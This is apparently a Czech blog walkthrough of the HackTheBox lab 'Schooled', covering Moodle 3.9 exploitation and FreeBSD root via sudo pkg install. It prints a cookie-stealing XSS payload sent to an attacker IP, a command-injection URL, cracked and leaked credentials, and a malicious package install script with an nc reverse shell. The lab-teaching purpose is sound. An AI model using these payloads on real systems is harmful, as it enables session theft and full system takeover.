tom@home.htb:~$

Blog o HTB

10 January 2021

Schooled

Úvod a kontext

Schooled je hlavně o tom, jak se několik „menších“ Moodle problémů skládá do jednoho použitelného řetězce. Přes moodle.schooled.htb, staff e-maily a převzetí cizí session se dá dostat až k roli managera, kterou v aplikaci drží carter_lianne. Nejde o jeden kliknutelný exploit, ale o postupné rozšiřování oprávnění uvnitř webu.

Teprve z administrativních dat vypadne hash Jamie Borham, který po cracknutí funguje i pro SSH účet jamie. Root pak neleží ve FreeBSD kernelu, ale v sudo /usr/sbin/pkg install * a podvrženém balíčku s instalačním skriptem.

Počáteční průzkum

Vyhledání otevřených portů

Síťová enumerace ukázala FreeBSD host s Apachem, SSH a službou MySQL X Protocol.

ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v -Pn $IP
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open  mysqlx?

Moodle a staff e-maily

Subdomain fuzzing odhalilo moodle.schooled.htb. Veřejný web zároveň prozradil jména a e-maily zaměstnanců:

carter_lianne@staff.schooled.htb
phillips_manuel@staff.schooled.htb
borham_jamie@staff.schooled.htb

To je důležité hned ze dvou důvodů. Zaprvé je jasné, že hlavní učební platformou je Moodle. Zadruhé už je k dispozici seznam konkrétních staff účtů, proti kterým může dávat smysl session theft nebo role abuse.

upgrade.txt navíc potvrdil verzi:

curl http://moodle.schooled.htb/moodle/lib/upgrade.txt
=== 3.9 ===

Analýza zjištění

XSS a zneužití role v Moodle

Moodle 3.9 odpovídal známým chybám v této řadě. První z nich umožnila přes profilové pole nebo obrázek spustit JavaScript a odcizit MoodleSession cookie. Praktickou logiku takového přechodu od stored XSS k převzetí cizí session rozebírám i v článku Stored XSS a admin browser a headless review jako útoková plocha:

<img src="http://10.10.14.22:8000/hfpvdposhios.jpg"
     onerror="this.src='http://10.10.14.22:8000/?cookie='+document.cookie">
GET /?cookie=MoodleSession=28ncg86jeqsll9cl230b5ojpf9

To samo o sobě ještě nestačí k rootu, ale otevírá přístup do cizího staff session. Na něj pak navázalo zneužití další Moodle chyby v práci s rolemi, takže bylo možné převzít silnější oprávnění a přihlásit se jako carter_lianne, která na webu vystupovala jako manager.

Admin hash a příkazové vykonání

S manažerským účtem šlo nainstalovat další modul a dostat se k hodnotám, které už přesahují webovou vrstvu. Získaný hash pro administrátora Jamie Borham šel prolomit:

/usr/sbin/john admin_passwd --wordlist=/usr/share/wordlists/rockyou.txt
!QAZ2wsx

Současně bylo přes endpoint:

http://moodle.schooled.htb/moodle/blocks/completion_progress/version.php?c=cat%20...

možné číst soubory a ověřit lokální účty i databázové údaje:

$CFG->dbpass = 'PlaybookMaster2020';
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh

Tady se řetězec uzavírá. Jamie Borham z Moodle odpovídá systémovému uživateli jamie a cracknuté heslo tak dává smysl zkusit i proti SSH. Právě tenhle přechod z aplikační identity na systémový shell je typický pro vzorec popsaný v článku Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji.

Získání přístupu

SSH jako jamie

ssh jamie@10.10.10.234
!QAZ2wsx

To je důležitý přechod od webového session kompromisu k plnohodnotnému uživatelskému shellu v systému. Teprve od této chvíle dává smysl řešit lokální privilege escalation.

Eskalace oprávnění

Zneužití pkg install *

Lokální kontrola oprávnění ukázala:

sudo -l
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *

Na FreeBSD je to kritické, protože balíček může obsahovat vlastní +PRE_INSTALL skript. Stačilo tedy připravit minimální balíček s instalačním hookem. Obecnější bezpečnostní význam takového sudo pravidla rozebírám i v článku sudo nad package, backup a container nástroji:

mkdir shell
cat > shell/+PRE_INSTALL <<'EOF'
cat /root/root.txt
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.22 4000 > /tmp/f
EOF
cat > shell/+MANIFEST <<'EOF'
name: shell
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF

pkg create -m shell/ -r shell/ -o .
sudo /usr/sbin/pkg install --no-repo-update ./shell-1.0_5.txz

Jakmile pkg spustil +PRE_INSTALL jako root, vznikl root shell a bylo možné ověřit root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: rce - ssh - sudo - php - exploit